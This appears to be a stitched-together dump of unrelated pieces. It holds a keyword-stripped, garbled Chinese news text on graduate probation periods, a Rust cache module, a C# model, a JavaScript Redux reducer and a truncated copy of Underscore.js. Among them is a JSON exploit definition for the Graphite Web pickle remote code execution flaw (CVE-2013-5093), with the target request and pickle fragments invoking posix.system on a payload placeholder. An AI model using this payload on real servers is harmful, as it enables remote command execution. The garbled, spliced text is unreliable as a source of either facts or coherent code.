眼下 大学 毕业生 落实 工作 签订 协议 参加 工作 大学生 都会 经历 一段 试用期 用人 单位 无限制 延长 试用 提出 试用 到期 单位 说辞 拒绝 应聘 留下 究竟 企业 是否 随意 延长 试用期 企业 惯例 试用期 是否 合法 记者 昨天 采访 劳动 保障 部门 相关 人士
警惕 试用 录用 提高 劳动 维权 意识
据 了解 目前 用人 单位 试用 大学 毕业生 试金石 经历 学生 觉得 试用 已经 用人 单位 扭曲 曾经 外贸 公司 同学 当初 公司 不肯 录用 根本 没有 合同 上班 以后 加班 多晚 得到 薪金 仍然 公司 最早 承诺 工作 李同学 公司 提出 签订 就业 合同 经理 了解 不够 深入 争取 更好 表现 继续 试用 工作 公司 才因 工作 经验 不够 丰富 辞退 李同学
一 职介 工作 人士 透露 用人 单位 喜欢 试用 学生 最重要 原因 省钱 抓住 学生 急于 表现 心理 交给 学生 超出 普通 工作 人员 一倍 更多 工作 应届生 缺乏 保护 意识 劳动 法规 了解 甚少 程度 用人 单位 有机可乘 劳动部门 相关 人士 企业 人事部门 劳动法 了解 企业 尊重 劳动者 利益 试用期 重视 利用 试用期 企业 制造 效益 认为 大学生 了解 相关 规定 敢于 企业 提出 合理 要求 争取 合法 利益
三 不能 惯例 试用期 到底
目前 企业 提出 试用期 似乎 成为 惯例 其实 符合 劳动法 劳动 社会 保障 相关 部门 负责人 解释 试用 劳动 法规 明确 规定 到底 计算 试用期 毕业生 需要 正确区分 协议 试用期 见习期 概念 直接 关系 毕业生 劳动 权益 维护
协议 毕业生 用人 单位 签订 就业 协议 一直 持续 签订 劳动 合同 之后 双方 终止 协议 协议 双方 已经 确定 工作 意向 建立 正式 劳动 关系
试用期 劳动 合同 毕业生 用人 单位 劳动 合同 时间 试用 试用 合格 单位 逃避 责任 试用期 往往 毕业生 签订 劳动 合同 试用 期满 借口 辞退 规定 试用期 劳动 合同 期限 一致 劳动 合同 期限 以下 试用期 不能 超过 劳动 合同 期限 一年 以下 试用期 不能 超过 劳动 合同 期限 以下 试用期 不能 超过 劳动 合同 期限 三年 以下 试用期 不能 超过 劳动 合同 期限 试用期 超过
合同 约定 见习 不再 另行 约定 试用期 毕业生 见习期 自报 计算
搜狗 www sogou com 搜索 大学 毕业生 找到
2 156
相关 网页 | {
"pile_set_name": "Github"
} |
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use dashmap::DashMap;
use serde_derive::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
pub(crate) enum CachePutResponse {
CachePutSuccess(usize),
CachePutFailure,
}
type CacheMap = Arc<DashMap<((usize, usize), usize), (Vec<u8>, usize)>>;
// Despite the name, it is currently unbounded cache. Once done with LRU iterator, have to make this bounded.
// Since we are storing everything as serialized objects, size estimation is as simple as getting the length of byte vector
#[derive(Debug, Clone)]
pub(crate) struct BoundedMemoryCache {
max_mbytes: usize,
next_key_space_id: Arc<AtomicUsize>,
current_bytes: usize,
map: CacheMap,
}
// TODO: remove all hardcoded values
impl BoundedMemoryCache {
pub fn new() -> Self {
BoundedMemoryCache {
max_mbytes: 2000, // in MB
next_key_space_id: Arc::new(AtomicUsize::new(0)),
current_bytes: 0,
map: Arc::new(DashMap::new()),
}
}
fn new_key_space_id(&self) -> usize {
self.next_key_space_id.fetch_add(1, Ordering::SeqCst)
}
pub fn new_key_space(&self) -> KeySpace {
KeySpace::new(self, self.new_key_space_id())
}
fn get(&self, dataset_id: (usize, usize), partition: usize) -> Option<Vec<u8>> {
self.map
.get(&(dataset_id, partition))
.map(|entry| entry.0.clone())
}
fn put(
&self,
dataset_id: (usize, usize),
partition: usize,
value: Vec<u8>,
) -> CachePutResponse {
let key = (dataset_id, partition);
// TODO: logging
let size = value.len() * 8 + 2 * 8; //this number of MB
if size as f64 / (1000.0 * 1000.0) > self.max_mbytes as f64 {
CachePutResponse::CachePutFailure
} else {
// TODO: ensure free space needs to be done and this needs to be modified
self.map.insert(key, (value, size));
CachePutResponse::CachePutSuccess(size)
}
}
fn ensure_free_space(&self, _dataset_id: u64, _space: u64) -> bool {
// TODO: logging
todo!()
}
fn report_entry_dropped(_data_set_id: usize, _partition: usize, _entry: (Vec<u8>, usize)) {
// TODO: loggging
todo!()
}
}
#[derive(Debug, Clone)]
pub(crate) struct KeySpace<'a> {
pub cache: &'a BoundedMemoryCache,
pub key_space_id: usize,
}
impl<'a> KeySpace<'a> {
fn new(cache: &'a BoundedMemoryCache, key_space_id: usize) -> Self {
KeySpace {
cache,
key_space_id,
}
}
pub fn get(&self, dataset_id: usize, partition: usize) -> Option<Vec<u8>> {
self.cache.get((self.key_space_id, dataset_id), partition)
}
pub fn put(&self, dataset_id: usize, partition: usize, value: Vec<u8>) -> CachePutResponse {
self.cache
.put((self.key_space_id, dataset_id), partition, value)
}
pub fn get_capacity(&self) -> usize {
self.cache.max_mbytes
}
}
| {
"pile_set_name": "Github"
} |
{
"requests" : {
"EXPLOIT1" : {
"TEXT" : "Sending Exploit #1 Request : [POST] /render/local",
"Rp4\n" : ".",
"HEADERS" : {
"Content-Type" : "application/x-www-form-urlencoded"
},
"PAYLOAD" : "line\n",
"p1\n" : "(S\\'__PAYLOAD__\\'\n",
"p2\n" : "tp3\n",
"VALIDATION" : {
"TCODE" : [
"200"
]
},
"PATH" : "render/local",
"cposix\n" : "system\n",
"METHOD" : "POST"
}
},
"paths" : [
""
],
"detection" : {},
"informations" : {
"REFERENCES" : [
"http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/"
],
"PATHS" : [
""
],
"TYPE" : "MSF",
"PLATFORM" : "UNIX",
"TITLE" : "Graphite Web Unsafe Pickle Handling",
"CVE" : "CVE-2013-5093",
"name" : "GraphitePickleExec",
"REQUESTS" : {
"EXPLOIT1" : {
"TEXT" : "Sending Exploit #1 Request : [POST] /render/local",
"Rp4\n" : ".",
"HEADERS" : {
"Content-Type" : "application/x-www-form-urlencoded"
},
"PAYLOAD" : "line\n",
"p1\n" : "(S\\'__PAYLOAD__\\'\n",
"p2\n" : "tp3\n",
"VALIDATION" : {
"TCODE" : [
"200"
]
},
"PATH" : "render/local",
"cposix\n" : "system\n",
"METHOD" : "POST"
}
},
"DESCRIPTION" : "\n\n This module exploits a remote code execution vulnerability in the pickle\n\n handling of the rendering code in the Graphite Web project between version\n\n 0.9.5 and 0.9.10 (both included).\n\n ",
"VARIABLES" : {
"PATH" : {
"VALUE" : "/",
"DESCRIPTION" : "The path to a vulnerable application"
}
},
"MSF_MODULE" : "graphite_pickle_exec"
},
"name" : "GraphitePickleExec",
"cve" : "CVE-2013-5093",
"references" : [
"http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/"
],
"msf_module" : "graphite_pickle_exec",
"title" : "Graphite Web Unsafe Pickle Handling",
"variables" : {
"PATH" : {
"VALUE" : "/",
"DESCRIPTION" : "The path to a vulnerable application"
}
},
"platform" : "UNIX",
"type" : "MSF",
"plugins_directory" : "/home/evil/GIT/Exploits/../data/plugins/",
"description" : "\n\n This module exploits a remote code execution vulnerability in the pickle\n\n handling of the rendering code in the Graphite Web project between version\n\n 0.9.5 and 0.9.10 (both included).\n\n "
}
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Steam.Models.TF2
{
public class SchemaStyleModel
{
public string Name { get; set; }
public SchemaAdditionalHiddenBodygroupsModel AdditionalHiddenBodygroups { get; set; }
}
}
| {
"pile_set_name": "Github"
} |
import get from 'lodash/get'
import partition from 'lodash/partition'
import { createSelector } from 'reselect'
import createReducer from '@zap/utils/createReducer'
import truncateNodePubkey from '@zap/utils/truncateNodePubkey'
import { getNodeDisplayName, networkSelectors } from './network'
// ------------------------------------
// Initial State
// ------------------------------------
const initialState = {
searchQuery: null,
}
// ------------------------------------
// Constants
// ------------------------------------
export const UPDATE_CONTACT_FORM_SEARCH_QUERY = 'UPDATE_CONTACT_FORM_SEARCH_QUERY'
// ------------------------------------
// Helpers
// ------------------------------------
/**
*fromSuggestedToRegular - Converts suggested nodes to a list of entries compatible with contact search results.
*
* @param {Array} suggestedNodes Suggested nodes list
* @returns {Array} Search results compatible version of suggested nodes array
*/
const fromSuggestedToRegular = suggestedNodes =>
suggestedNodes &&
suggestedNodes.map(node => ({
...node,
addresses: [{ addr: node.host }],
}))
// ------------------------------------
// Actions
// ------------------------------------
/**
* updateContactFormSearchQuery - Set the current contacts serach string.
*
* @param {string} searchQuery Search query
* @returns {object} Action
*/
export function updateContactFormSearchQuery(searchQuery) {
return {
type: UPDATE_CONTACT_FORM_SEARCH_QUERY,
searchQuery,
}
}
// ------------------------------------
// Action Handlers
// ------------------------------------
const ACTION_HANDLERS = {
[UPDATE_CONTACT_FORM_SEARCH_QUERY]: (state, { searchQuery }) => {
state.searchQuery = searchQuery
},
}
// ------------------------------------
// Selectors
// ------------------------------------
const contactFormSelectors = {}
const networkNodesSelector = state => networkSelectors.nodes(state)
const searchQuerySelector = state => state.contactsform.searchQuery
const peersSelector = state => state.peers.peers
const contactable = node => node.addresses.length > 0
const networkSelector = state => state.info.network
const chainSelector = state => state.info.chain
const suggestedNodesSelector = state => state.channels.suggestedNodes
// comparator to sort the contacts list with contactable contacts first
const contactableFirst = (a, b) => {
if (contactable(a) && !contactable(b)) {
return -1
}
if (!contactable(a) && contactable(b)) {
return 1
}
return 0
}
contactFormSelectors.suggestedNodes = createSelector(
chainSelector,
networkSelector,
suggestedNodesSelector,
(chain, network, suggestedNodes) => {
return get(suggestedNodes, `${chain}.${network}`, [])
}
)
contactFormSelectors.filteredNetworkNodes = createSelector(
networkNodesSelector,
searchQuerySelector,
peersSelector,
contactFormSelectors.suggestedNodes,
(nodes, searchQuery, peers, suggestedNodes) => {
const LIMIT = 50
// If there is no search query default to showing the first 50 nodes from the nodes array
// (performance hit to render the entire thing by default)
if (!searchQuery) {
const peerPubKeys = peers.map(peer => peer.pubKey)
const [peerNodes, nonPeerNodes] = partition(nodes, node => peerPubKeys.includes(node.pubKey))
return peerNodes
.concat(nonPeerNodes)
.sort(contactableFirst)
.slice(0, LIMIT)
}
// if there is an '@' in the search query we are assuming they are using the format pubkey@host
// we can ignore the '@' and the host and just grab the pubkey for our search
const query = searchQuery.includes('@') ? searchQuery.split('@')[0] : searchQuery
const queryLowerCase = query && query.toLowerCase()
// list of the nodes
return nodes
.concat(fromSuggestedToRegular(suggestedNodes) || [])
.filter(node => {
const { alias, pubKey, addresses } = node
const matchesSearch =
(alias && alias.toLowerCase().includes(queryLowerCase)) ||
(pubKey && pubKey.includes(queryLowerCase))
const hasAddress = addresses.length > 0
return matchesSearch && hasAddress
})
.sort(contactableFirst)
.slice(0, LIMIT)
}
)
contactFormSelectors.isSearchValidNodeAddress = createSelector(searchQuerySelector, searchQuery => {
if (!searchQuery || searchQuery.length < 3) {
return false
}
const [pubkey, host] = searchQuery.split('@')
return Boolean(pubkey && host)
})
contactFormSelectors.selectedNodeDisplayName = createSelector(
searchQuerySelector,
contactFormSelectors.isSearchValidNodeAddress,
networkNodesSelector,
(searchQuery, isSearchValidNodeAddress, nodes) => {
if (isSearchValidNodeAddress) {
const pubkey = searchQuery.split('@')[0]
const node = nodes.find(n => n.pubKey === pubkey)
return node ? getNodeDisplayName(node) : truncateNodePubkey(pubkey)
}
return null
}
)
export { contactFormSelectors }
export default createReducer(initialState, ACTION_HANDLERS)
| {
"pile_set_name": "Github"
} |
// Underscore.js 1.5.2
// http://underscorejs.org
// (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
// Underscore may be freely distributed under the MIT license.
(function() {
// Baseline setup
// --------------
// Establish the root object, `window` in the browser, or `exports` on the server.
var root = this;
// Save the previous value of the `_` variable.
var previousUnderscore = root._;
// Establish the object that gets returned to break out of a loop iteration.
var breaker = {};
// Save bytes in the minified (but not gzipped) version:
var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
// Create quick reference variables for speed access to core prototypes.
var
push = ArrayProto.push,
slice = ArrayProto.slice,
concat = ArrayProto.concat,
toString = ObjProto.toString,
hasOwnProperty = ObjProto.hasOwnProperty;
// All **ECMAScript 5** native function implementations that we hope to use
// are declared here.
var
nativeForEach = ArrayProto.forEach,
nativeMap = ArrayProto.map,
nativeReduce = ArrayProto.reduce,
nativeReduceRight = ArrayProto.reduceRight,
nativeFilter = ArrayProto.filter,
nativeEvery = ArrayProto.every,
nativeSome = ArrayProto.some,
nativeIndexOf = ArrayProto.indexOf,
nativeLastIndexOf = ArrayProto.lastIndexOf,
nativeIsArray = Array.isArray,
nativeKeys = Object.keys,
nativeBind = FuncProto.bind;
// Create a safe reference to the Underscore object for use below.
var _ = function(obj) {
if (obj instanceof _) return obj;
if (!(this instanceof _)) return new _(obj);
this._wrapped = obj;
};
// Export the Underscore object for **Node.js**, with
// backwards-compatibility for the old `require()` API. If we're in
// the browser, add `_` as a global object via a string identifier,
// for Closure Compiler "advanced" mode.
if (typeof exports !== 'undefined') {
if (typeof module !== 'undefined' && module.exports) {
exports = module.exports = _;
}
exports._ = _;
} else {
root._ = _;
}
// Current version.
_.VERSION = '1.5.2';
// Collection Functions
// --------------------
// The cornerstone, an `each` implementation, aka `forEach`.
// Handles objects with the built-in `forEach`, arrays, and raw objects.
// Delegates to **ECMAScript 5**'s native `forEach` if available.
var each = _.each = _.forEach = function(obj, iterator, context) {
if (obj == null) return;
if (nativeForEach && obj.forEach === nativeForEach) {
obj.forEach(iterator, context);
} else if (obj.length === +obj.length) {
for (var i = 0, length = obj.length; i < length; i++) {
if (iterator.call(context, obj[i], i, obj) === breaker) return;
}
} else {
var keys = _.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
if (iterator.call(context, obj[keys[i]], keys[i], obj) === breaker) return;
}
}
};
// Return the results of applying the iterator to each element.
// Delegates to **ECMAScript 5**'s native `map` if available.
_.map = _.collect = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
each(obj, function(value, index, list) {
results.push(iterator.call(context, value, index, list));
});
return results;
};
var reduceError = 'Reduce of empty array with no initial value';
// **Reduce** builds up a single result from a list of values, aka `inject`,
// or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
_.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
var initial = arguments.length > 2;
if (obj == null) obj = [];
if (nativeReduce && obj.reduce === nativeReduce) {
if (context) iterator = _.bind(iterator, context);
return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
}
each(obj, function(value, index, list) {
if (!initial) {
memo = value;
initial = true;
} else {
memo = iterator.call(context, memo, value, index, list);
}
});
if (!initial) throw new TypeError(reduceError);
return memo;
};
// The right-associative version of reduce, also known as `foldr`.
// Delegates to **ECMAScript 5**'s native `reduceRight` if available.
_.reduceRight = _.foldr = function(obj, iterator, memo, context) {
var initial = arguments.length > 2;
if (obj == null) obj = [];
if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
if (context) iterator = _.bind(iterator, context);
return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
}
var length = obj.length;
if (length !== +length) {
var keys = _.keys(obj);
length = keys.length;
}
each(obj, function(value, index, list) {
index = keys ? keys[--length] : --length;
if (!initial) {
memo = obj[index];
initial = true;
} else {
memo = iterator.call(context, memo, obj[index], index, list);
}
});
if (!initial) throw new TypeError(reduceError);
return memo;
};
// Return the first value which passes a truth test. Aliased as `detect`.
_.find = _.detect = function(obj, iterator, context) {
var result;
any(obj, function(value, index, list) {
if (iterator.call(context, value, index, list)) {
result = value;
return true;
}
});
return result;
};
// Return all the elements that pass a truth test.
// Delegates to **ECMAScript 5**'s native `filter` if available.
// Aliased as `select`.
_.filter = _.select = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
each(obj, function(value, index, list) {
if (iterator.call(context, value, index, list)) results.push(value);
});
return results;
};
// Return all the elements for which a truth test fails.
_.reject = function(obj, iterator, context) {
return _.filter(obj, function(value, index, list) {
return !iterator.call(context, value, index, list);
}, context);
};
// Determine whether all of the elements match a truth test.
// Delegates to **ECMAScript 5**'s native `every` if available.
// Aliased as `all`.
_.every = _.all = function(obj, iterator, context) {
iterator || (iterator = _.identity);
var result = true;
if (obj == null) return result;
if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
each(obj, function(value, index, list) {
if (!(result = result && iterator.call(context, value, index, list))) return breaker;
});
return !!result;
};
// Determine if at least one element in the object matches a truth test.
// Delegates to **ECMAScript 5**'s native `some` if available.
// Aliased as `any`.
var any = _.some = _.any = function(obj, iterator, context) {
iterator || (iterator = _.identity);
var result = false;
if (obj == null) return result;
if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
each(obj, function(value, index, list) {
if (result || (result = iterator.call(context, value, index, list))) return breaker;
});
return !!result;
};
// Determine if the array or object contains a given value (using `===`).
// Aliased as `include`.
_.contains = _.include = function(obj, target) {
if (obj == null) return false;
if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
return any(obj, function(value) {
return value === target;
});
};
// Invoke a method (with arguments) on every item in a collection.
_.invoke = function(obj, method) {
var args = slice.call(arguments, 2);
var isFunc = _.isFunction(method);
return _.map(obj, function(value) {
return (isFunc ? method : value[method]).apply(value, args);
});
};
// Convenience version of a common use case of `map`: fetching a property.
_.pluck = function(obj, key) {
return _.map(obj, function(value){ return value[key]; });
};
// Convenience version of a common use case of `filter`: selecting only objects
// containing specific `key:value` pairs.
_.where = function(obj, attrs, first) {
if (_.isEmpty(attrs)) return first ? void 0 : [];
return _[first ? 'find' : 'filter'](obj, function(value) {
for (var key in attrs) {
if (attrs[key] !== value[key]) return false;
}
return true;
});
};
// Convenience version of a common use case of `find`: getting the first object
// containing specific `key:value` pairs.
_.findWhere = function(obj, attrs) {
return _.where(obj, attrs, true);
};
// Return the maximum element or (element-based computation).
// Can't optimize arrays of integers longer than 65,535 elements.
// See [WebKit Bug 80797](https://bugs.webkit.org/show_bug.cgi?id=80797)
_.max = function(obj, iterator, context) {
if (!iterator && _.isArray(obj) && obj[0] === +obj[0] && obj.length < 65535) {
return Math.max.apply(Math, obj);
}
if (!iterator && _.isEmpty(obj)) return -Infinity;
var result = {computed : -Infinity, value: -Infinity};
each(obj, function(value, index, list) {
var computed = iterator ? iterator.call(context, value, index, list) : value;
computed > result.computed && (result = {value : value, computed : computed});
});
return result.value;
};
// Return the minimum element (or element-based computation).
_.min = function(obj, iterator, context) {
if (!iterator && _.isArray(obj) && obj[0] === +obj[0] && obj.length < 65535) {
return Math.min.apply(Math, obj);
}
if (!iterator && _.isEmpty(obj)) return Infinity;
var result = {computed : Infinity, value: Infinity};
each(obj, function(value, index, list) {
var computed = iterator ? iterator.call(context, value, index, list) : value;
computed < result.computed && (result = {value : value, computed : computed});
});
return result.value;
};
// Shuffle an array, using the modern version of the
// [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle).
_.shuffle = function(obj) {
var rand;
var index = 0;
var shuffled = [];
each(obj, function(value) {
rand = _.random(index++);
shuffled[index - 1] = shuffled[rand];
shuffled[rand] = value;
});
return shuffled;
};
// Sample **n** random values from an array.
// If **n** is not specified, returns a single random element from the array.
// The internal `guard` argument allows it to work with `map`.
_.sample = function(obj, n, guard) {
if (arguments.length < 2 || guard) {
return obj[_.random(obj.length - 1)];
}
return _.shuffle(obj).slice(0, Math.max(0, n));
};
// An internal function to generate lookup iterators.
var lookupIterator = function(value) {
return _.isFunction(value) ? value : function(obj){ return obj[value]; };
};
// Sort the object's values by a criterion produced by an iterator.
_.sortBy = function(obj, value, context) {
var iterator = lookupIterator(value);
return _.pluck(_.map(obj, function(value, index, list) {
return {
value: value,
index: index,
criteria: iterator.call(context, value, index, list)
};
}).sort(function(left, right) {
var a = left.criteria;
var b = right.criteria;
if (a !== b) {
if (a > b || a === void 0) return 1;
if (a < b || b === void 0) return -1;
}
return left.index - right.index;
}), 'value');
};
// An internal function used for aggregate "group by" operations.
var group = function(behavior) {
return function(obj, value, context) {
var result = {};
var iterator = value == null ? _.identity : lookupIterator(value);
each(obj, function(value, index) {
var key = iterator.call(context, value, index, obj);
behavior(result, key, value);
});
return result;
};
};
// Groups the object's values by a criterion. Pass either a string attribute
// to group by, or a function that returns the criterion.
_.groupBy = group(function(result, key, value) {
(_.has(result, key) ? result[key] : (result[key] = [])).push(value);
});
// Indexes the object's values by a criterion, similar to `groupBy`, but for
// when you know that your index values will be unique.
_.indexBy = group(function(result, key, value) {
result[key] = value;
});
// Counts instances of an object that group by a certain criterion. Pass
// either a string attribute to count by, or a function that returns the
// criterion.
_.countBy = group(function(result, key) {
_.has(result, key) ? result[key]++ : result[key] = 1;
});
// Use a comparator function to figure out the smallest index at which
// an object should be inserted so as to maintain order. Uses binary search.
_.sortedIndex = function(array, obj, iterator, context) {
iterator = iterator == null ? _.identity : lookupIterator(iterator);
var value = iterator.call(context, obj);
var low = 0, high = array.length;
while (low < high) {
var mid = (low + high) >>> 1;
iterator.call(context, array[mid]) < value ? low = mid + 1 : high = mid;
}
return low;
};
// Safely create a real, live array from anything iterable.
_.toArray = function(obj) {
if (!obj) return [];
if (_.isArray(obj)) return slice.call(obj);
if (obj.length === +obj.length) return _.map(obj, _.identity);
return _.values(obj);
};
// Return the number of elements in an object.
_.size = function(obj) {
if (obj == null) return 0;
return (obj.length === +obj.length) ? obj.length : _.keys(obj).length;
};
// Array Functions
// ---------------
// Get the first element of an array. Passing **n** will return the first N
// values in the array. Aliased as `head` and `take`. The **guard** check
// allows it to work with `_.map`.
_.first = _.head = _.take = function(array, n, guard) {
if (array == null) return void 0;
return (n == null) || guard ? array[0] : slice.call(array, 0, n);
};
// Returns everything but the last entry of the array. Especially useful on
// the arguments object. Passing **n** will return all the values in
// the array, excluding the last N. The **guard** check allows it to work with
// `_.map`.
_.initial = function(array, n, guard) {
return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
};
// Get the last element of an array. Passing **n** will return the last N
// values in the array. The **guard** check allows it to work with `_.map`.
_.last = function(array, n, guard) {
if (array == null) return void 0;
if ((n == null) || guard) {
return array[array.length - 1];
} else {
return slice.call(array, Math.max(array.length - n, 0));
}
};
// Returns everything but the first entry of the array. Aliased as `tail` and `drop`.
// Especially useful on the arguments object. Passing an **n** will return
// the rest N values in the array. The **guard**
// check allows it to work with `_.map`.
_.rest = _.tail = _.drop = function(array, n, guard) {
return slice.call(array, (n == null) || guard ? 1 : n);
};
// Trim out all falsy values from an array.
_.compact = function(array) {
return _.filter(array, _.identity);
};
// Internal implementation of a recursive `flatten` function.
var flatten = function(input, shallow, output) {
if (shallow && _.every(input, _.isArray)) {
return concat.apply(output, input);
}
each(input, function(value) {
if (_.isArray(value) || _.isArguments(value)) {
shallow ? push.apply(output, value) : flatten(value, shallow, output);
} else {
output.push(value);
}
});
return output;
};
// Flatten out an array, either recursively (by default), or just one level.
_.flatten = function(array, shallow) {
return flatten(array, shallow, []);
};
// Return a version of the array that does not contain the specified value(s).
_.without = function(array) {
return _.difference(array, slice.call(arguments, 1));
};
// Produce a duplicate-free version of the array. If the array has already
// been sorted, you have the option of using a faster algorithm.
// Aliased as `unique`.
_.uniq = _.unique = function(array, isSorted, iterator, context) {
if (_.isFunction(isSorted)) {
context = iterator;
iterator = isSorted;
isSorted = false;
}
var initial = iterator ? _.map(array, iterator, context) : array;
var results = [];
var seen = [];
each(initial, function(value, index) {
if (isSorted ? (!index || seen[seen.length - 1] !== value) : !_.contains(seen, value)) {
seen.push(value);
results.push(array[index]);
}
});
return results;
};
// Produce an array that contains the union: each distinct element from all of
// the passed-in arrays.
_.union = function() {
return _.uniq(_.flatten(arguments, true));
};
// Produce an array that contains every item shared between all the
// passed-in arrays.
_.intersection = function(array) {
var rest = slice.call(arguments, 1);
return _.filter(_.uniq(array), function(item) {
return _.every(rest, function(other) {
return _.indexOf(other, item) >= 0;
});
});
};
// Take the difference between one array and a number of other arrays.
// Only the elements present in just the first array will remain.
_.difference = function(array) {
var rest = concat.apply(ArrayProto, slice.call(arguments, 1));
return _.filter(array, function(value){ return !_.contains(rest, value); });
};
// Zip together multiple lists into a single array -- elements that share
// an index go together.
_.zip = function() {
var length = _.max(_.pluck(arguments, "length").concat(0));
var results = new Array(length);
for (var i = 0; i < length; i++) {
results[i] = _.pluck(arguments, '' + i);
}
return results;
};
// Converts lists into objects. Pass either a single array of `[key, value]`
// pairs, or two parallel arrays of the same length -- one of keys, and one of
// the corresponding values.
_.object = function(list, values) {
if (list == null) return {};
var result = {};
for (var i = 0, length = list.length; i < length; i++) {
if (values) {
result[list[i]] = values[i];
} else {
result[list[i][0]] = list[i][1];
}
}
return result;
};
// If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
// we need this function. Return the position of the first occurrence of an
// item in an array, or -1 if the item is not included in the array.
// Delegates to **ECMAScript 5**'s native `indexOf` if available.
// If the array is large and already in sort order, pass `true`
// for **isSorted** to use binary search.
_.indexOf = function(array, item, isSorted) {
if (array == null) return -1;
var i = 0, length = array.length;
if (isSorted) {
if (typeof isSorted == 'number') {
i = (isSorted < 0 ? Math.max(0, length + isSorted) : isSorted);
} else {
i = _.sortedIndex(array, item);
return array[i] === item ? i : -1;
}
}
if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item, isSorted);
for (; i < length; i++) if (array[i] === item) return i;
return -1;
};
// Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
_.lastIndexOf = function(array, item, from) {
if (array == null) return -1;
var hasIndex = from != null;
if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) {
return hasIndex ? array.lastIndexOf(item, from) : array.lastIndexOf(item);
}
var i = (hasIndex ? from : array.length);
while (i--) if (array[i] === item) return i;
return -1;
};
// Generate an integer Array containing an arithmetic progression. A port of
// the native Python `range()` function. See
// [the Python documentation](http://docs.python.org/library/functions.html#range).
_.range = function(start, stop, step) {
if (arguments.length <= 1) {
stop = start || 0;
start = 0;
}
step = arguments[2] || 1;
var length = Math.max(Math.ceil((stop - start) / step), 0);
var idx = 0;
var range = new Array(length);
while(idx < length) {
range[idx++] = start;
start += step;
}
return range;
};
// Function (ahem) Functions
// ------------------
// Reusable constructor function for prototype setting.
var ctor = function(){};
// Create a function bound to a given object (assigning `this`, and arguments,
// optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if
// available.
_.bind = function(func, context) {
var args, bound;
if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
if (!_.isFunction(func)) throw new TypeError;
args = slice.call(arguments, 2);
return bound = function() {
if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
ctor.prototype = func.prototype;
var self = new ctor;
ctor.prototype = null;
var result = func.apply(self, args.concat(slice.call(arguments)));
if (Object(result) === result) return result;
return self;
};
};
// Partially apply a function by creating a version that has had some of its
// arguments pre-filled, without changing its dynamic `this` context.
_.partial = function(func) {
var args = slice.call(arguments, 1);
return function() {
return func.apply(this, args.concat(slice.call(arguments)));
};
};
// Bind all of an object's methods to that object. Useful for ensuring that
// all callbacks defined on an object belong to it.
_.bindAll = function(obj) {
var funcs = slice.call(arguments, 1);
if (funcs.length === 0) throw new Error("bindAll must be passed function names");
each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
return obj;
};
// Memoize an expensive function by storing its results.
_.memoize = function(func, hasher) {
var memo = {};
hasher || (hasher = _.identity);
return function() {
var key = hasher.apply(this, arguments);
return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
};
};
// Delays a function for the given number of milliseconds, and then calls
// it with the arguments supplied.
_.delay = function(func, wait) {
var args = slice.call(arguments, 2);
return setTimeout(function(){ return func.apply(null, args); }, wait);
};
// Defers a function, scheduling it to run after the current call stack has
// cleared.
_.defer = function(func) {
return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
};
// Returns a function, that, when invoked, will only be triggered at most once
// during a given window of time. Normally, the throttled function will run
// as much as it can, without ever going more than once per `wait` duration;
// but if you'd like to disable the execution on the leading edge, pass
// `{leading: false}`. To disable execution on the trailing edge, ditto.
_.throttle = function(func, wait, options) {
var context, args, result;
var timeout = null;
var previous = 0;
options || (options = {});
var later = function() {
previous = options.leading === false ? 0 : new Date;
timeout = null;
result = func.apply(context, args);
};
return function() {
var now = new Date;
if (!previous && options.leading === false) previous = now;
var remaining = wait - (now - previous);
context = this;
args = arguments;
if (remaining <= 0) {
clearTimeout(timeout);
timeout = null;
previous = now;
result = func.apply(context, args);
} else if (!timeout && options.trailing !== false) {
timeout = setTimeout(later, remaining);
}
return result;
};
};
// Returns a function, that, as long as it continues to be invoked, will not
// be triggered. The function will be called after it stops being called for
// N milliseconds. If `immediate` is passed, trigger the function on the
// leading edge, instead of the trailing.
_.debounce = function(func, wait, immediate) {
var timeout, args, context, timestamp, result;
return function() {
context = this;
args = arguments;
timestamp = new Date();
var later = function() {
var last = (new Date()) - timestamp;
if (last < wait) {
timeout = setTimeout(later, wait - last);
} else {
timeout = null;
if (!immediate) result = func.apply(context, args);
}
};
var callNow = immediate && !timeout;
if (!timeout) {
timeout = setTimeout(later, wait);
}
if (callNow) result = func.apply(context, args);
return result;
};
};
// Returns a function that will be executed at most one time, no matter how
// often you call it. Useful for lazy initialization.
_.once = function(func) {
var ran = false, memo;
return function() {
if (ran) return memo;
ran = true;
memo = func.apply(this, arguments);
func = null;
return memo;
};
};
// Returns the first function passed as an argument to the second,
// allowing you to adjust arguments, run code before and after, and
// conditionally execute the original function.
_.wrap = function(func, wrapper) {
return function() {
